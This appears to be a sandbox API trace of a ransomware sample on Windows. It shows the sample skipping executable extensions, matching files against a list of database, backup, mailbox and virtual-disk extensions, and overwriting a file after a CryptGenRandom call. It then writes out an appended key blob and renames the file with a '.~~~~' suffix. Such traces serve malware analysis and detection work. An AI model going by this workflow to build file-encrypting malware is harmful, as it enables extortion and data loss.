	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DBF") returned 0x0
	[0084.542] lstrlenW (lpString=".EQL") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".EQL") returned 0x0
	[0084.542] lstrlenW (lpString=".FDB") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".FDB") returned 0x0
	[0084.542] lstrlenW (lpString=".EDB") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".EDB") returned 0x0
	[0084.542] lstrlenW (lpString=".DACPAC") returned 7
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.542] lstrlenW (lpString=".VHD") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".VHD") returned 0x0
	[0084.542] lstrlenW (lpString=".DBV") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DBV") returned 0x0
	[0084.542] lstrlenW (lpString=".dacpac") returned 7
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dacpac") returned 0x0
	[0084.542] lstrlenW (lpString=".sdf") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".sdf") returned 0x0
	[0084.542] lstrlenW (lpString=".accdb") returned 6
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".accdb") returned 0x0
	[0084.542] lstrlenW (lpString=".DBX") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DBX") returned 0x0
	[0084.542] lstrlenW (lpString=".MDT") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".MDT") returned 0x0
	[0084.543] lstrlenW (lpString=".SQB") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".SQB") returned 0x0
	[0084.543] lstrlenW (lpString=".vhd") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".vhd") returned 0x0
	[0084.543] lstrlenW (lpString=".bac") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".bac") returned 0x0
	[0084.543] lstrlenW (lpString=".mdf") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".mdf") returned 0x0
	[0084.543] lstrlenW (lpString=".BAK") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".BAK") returned 0x0
	[0084.543] lstrlenW (lpString=".BAC") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".BAC") returned 0x0
	[0084.543] lstrlenW (lpString=".dbs") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dbs") returned 0x0
	[0084.543] lstrlenW (lpString=".vhdx") returned 5
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".vhdx") returned 0x0
	[0084.543] lstrlenW (lpString=".NDF") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".NDF") returned 0x0
	[0084.543] lstrlenW (lpString=".dat") returned 4
	[0084.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dat") returned 0x0
	[0084.543] lstrlenW (lpString=".DBS") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DBS") returned 0x0
	[0084.544] lstrlenW (lpString=".CKP") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".CKP") returned 0x0
	[0084.544] lstrlenW (lpString=".edb") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".edb") returned 0x0
	[0084.544] lstrlenW (lpString=".PST") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".PST") returned 0x0
	[0084.544] lstrlenW (lpString=".dbf") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dbf") returned 0x0
	[0084.544] lstrlenW (lpString=".SQL") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".SQL") returned 0x0
	[0084.544] lstrlenW (lpString=".pst") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".pst") returned 0x0
	[0084.544] lstrlenW (lpString=".dbv") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dbv") returned 0x0
	[0084.544] lstrlenW (lpString=".SDF") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".SDF") returned 0x0
	[0084.544] lstrlenW (lpString=".dtxs") returned 5
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dtxs") returned 0x0
	[0084.544] lstrlenW (lpString=".db3") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".db3") returned 0x0
	[0084.544] lstrlenW (lpString=".OST") returned 4
	[0084.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".OST") returned 0x0
	[0084.544] lstrlenW (lpString=".dbx") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dbx") returned 0x0
	[0084.545] lstrlenW (lpString=".DB3") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DB3") returned 0x0
	[0084.545] lstrlenW (lpString=".DAT") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DAT") returned 0x0
	[0084.545] lstrlenW (lpString=".VHDX") returned 5
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".VHDX") returned 0x0
	[0084.545] lstrlenW (lpString=".ndf") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".ndf") returned 0x0
	[0084.545] lstrlenW (lpString=".DB") returned 3
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DB") returned 0x0
	[0084.545] lstrlenW (lpString=".sql") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".sql") returned 0x0
	[0084.545] lstrlenW (lpString=".MYD") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".MYD") returned 0x0
	[0084.545] lstrlenW (lpString=".DBT") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DBT") returned 0x0
	[0084.545] lstrlenW (lpString=".ACCDB") returned 6
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.545] lstrlenW (lpString=".fdb") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".fdb") returned 0x0
	[0084.545] lstrlenW (lpString=".bak") returned 4
	[0084.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".bak") returned 0x0
	[0084.546] lstrlenW (lpString=".myd") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".myd") returned 0x0
	[0084.546] lstrlenW (lpString=".DTXS") returned 5
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".DTXS") returned 0x0
	[0084.546] lstrlenW (lpString=".ckp") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".ckp") returned 0x0
	[0084.546] lstrlenW (lpString=".dbt") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dbt") returned 0x0
	[0084.546] lstrlenW (lpString=".db") returned 3
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".db") returned 0x0
	[0084.546] lstrlenW (lpString=".TXT") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".TXT") returned 0x0
	[0084.546] lstrlenW (lpString=".MDF") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".MDF") returned 0x0
	[0084.546] lstrlenW (lpString=".bdb") returned 4
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".bdb") returned 0x0
	[0084.546] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.546] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0084.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.548] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.548] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20453793797) returned 1
	[0084.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c3af6b0, dwHighDateTime=0x1d60e1e)) 
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2918
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2918 | out: hHeap=0x300000) returned 1
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808870
	[0084.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808870 | out: hHeap=0x300000) returned 1
	[0084.548] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.549] GetLastError () returned 0x0
	[0084.549] GetLastError () returned 0x0
	[0084.549] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.549] GetLastError () returned 0x0
	[0084.549] GetLastError () returned 0x0
	[0084.552] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffefea3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.552] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1015d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1015d, lpOverlapped=0x0) returned 1
	[0084.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.553] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.553] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.553] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.553] CloseHandle (hObject=0x124) returned 1
	[0084.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808870
	[0084.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.~~~~")) returned 1
	[0084.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808870 | out: hHeap=0x300000) returned 1
	[0084.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.555] GetLastError () returned 0x0
	[0084.555] RtlWakeConditionVariable () returned 0x365f70
	[0084.555] GetCurrentThreadId () returned 0xaf0
	[0084.555] GetCurrentThreadId () returned 0xaf0
	[0084.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808fa8 | out: hHeap=0x300000) returned 1
	[0084.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2950 | out: hHeap=0x300000) returned 1
	[0084.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808fa8
	[0084.555] lstrlenW (lpString=".scr") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".scr") returned 0x0
	[0084.555] lstrlenW (lpString=".cmd") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".cmd") returned 0x0
	[0084.555] lstrlenW (lpString=".dll") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dll") returned 0x0
	[0084.555] lstrlenW (lpString=".bat") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".bat") returned 0x0
	[0084.555] lstrlenW (lpString=".cpl") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".cpl") returned 0x0
	[0084.555] lstrlenW (lpString=".sys") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".sys") returned 0x0
	[0084.555] lstrlenW (lpString=".msc") returned 4
	[0084.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".msc") returned 0x0
	[0084.556] lstrlenW (lpString=".com") returned 4
	[0084.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".com") returned 0x0
	[0084.556] lstrlenW (lpString=".lnk") returned 4
	[0084.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".lnk") returned 0x0
	[0084.556] lstrlenW (lpString=".msp") returned 4
	[0084.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".msp") returned 0x0
	[0084.556] lstrlenW (lpString=".pif") returned 4
	[0084.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".pif") returned 0x0
	[0084.556] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.557] lstrlenW (lpString=".sqb") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".sqb") returned 0x0
	[0084.557] lstrlenW (lpString=".ost") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".ost") returned 0x0
	[0084.557] lstrlenW (lpString=".txt") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".txt") returned 0x0
	[0084.557] lstrlenW (lpString=".mdt") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".mdt") returned 0x0
	[0084.557] lstrlenW (lpString=".BDB") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".BDB") returned 0x0
	[0084.557] lstrlenW (lpString=".eql") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".eql") returned 0x0
	[0084.557] lstrlenW (lpString=".DBF") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DBF") returned 0x0
	[0084.557] lstrlenW (lpString=".EQL") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".EQL") returned 0x0
	[0084.557] lstrlenW (lpString=".FDB") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".FDB") returned 0x0
	[0084.557] lstrlenW (lpString=".EDB") returned 4
	[0084.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".EDB") returned 0x0
	[0084.557] lstrlenW (lpString=".DACPAC") returned 7
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DACPAC") returned 0x0
	[0084.558] lstrlenW (lpString=".VHD") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".VHD") returned 0x0
	[0084.558] lstrlenW (lpString=".DBV") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DBV") returned 0x0
	[0084.558] lstrlenW (lpString=".dacpac") returned 7
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dacpac") returned 0x0
	[0084.558] lstrlenW (lpString=".sdf") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".sdf") returned 0x0
	[0084.558] lstrlenW (lpString=".accdb") returned 6
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".accdb") returned 0x0
	[0084.558] lstrlenW (lpString=".DBX") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DBX") returned 0x0
	[0084.558] lstrlenW (lpString=".MDT") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".MDT") returned 0x0
	[0084.558] lstrlenW (lpString=".SQB") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".SQB") returned 0x0
	[0084.558] lstrlenW (lpString=".vhd") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".vhd") returned 0x0
	[0084.558] lstrlenW (lpString=".bac") returned 4
	[0084.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".bac") returned 0x0
	[0084.558] lstrlenW (lpString=".mdf") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".mdf") returned 0x0
	[0084.559] lstrlenW (lpString=".BAK") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".BAK") returned 0x0
	[0084.559] lstrlenW (lpString=".BAC") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".BAC") returned 0x0
	[0084.559] lstrlenW (lpString=".dbs") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dbs") returned 0x0
	[0084.559] lstrlenW (lpString=".vhdx") returned 5
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".vhdx") returned 0x0
	[0084.559] lstrlenW (lpString=".NDF") returned 4
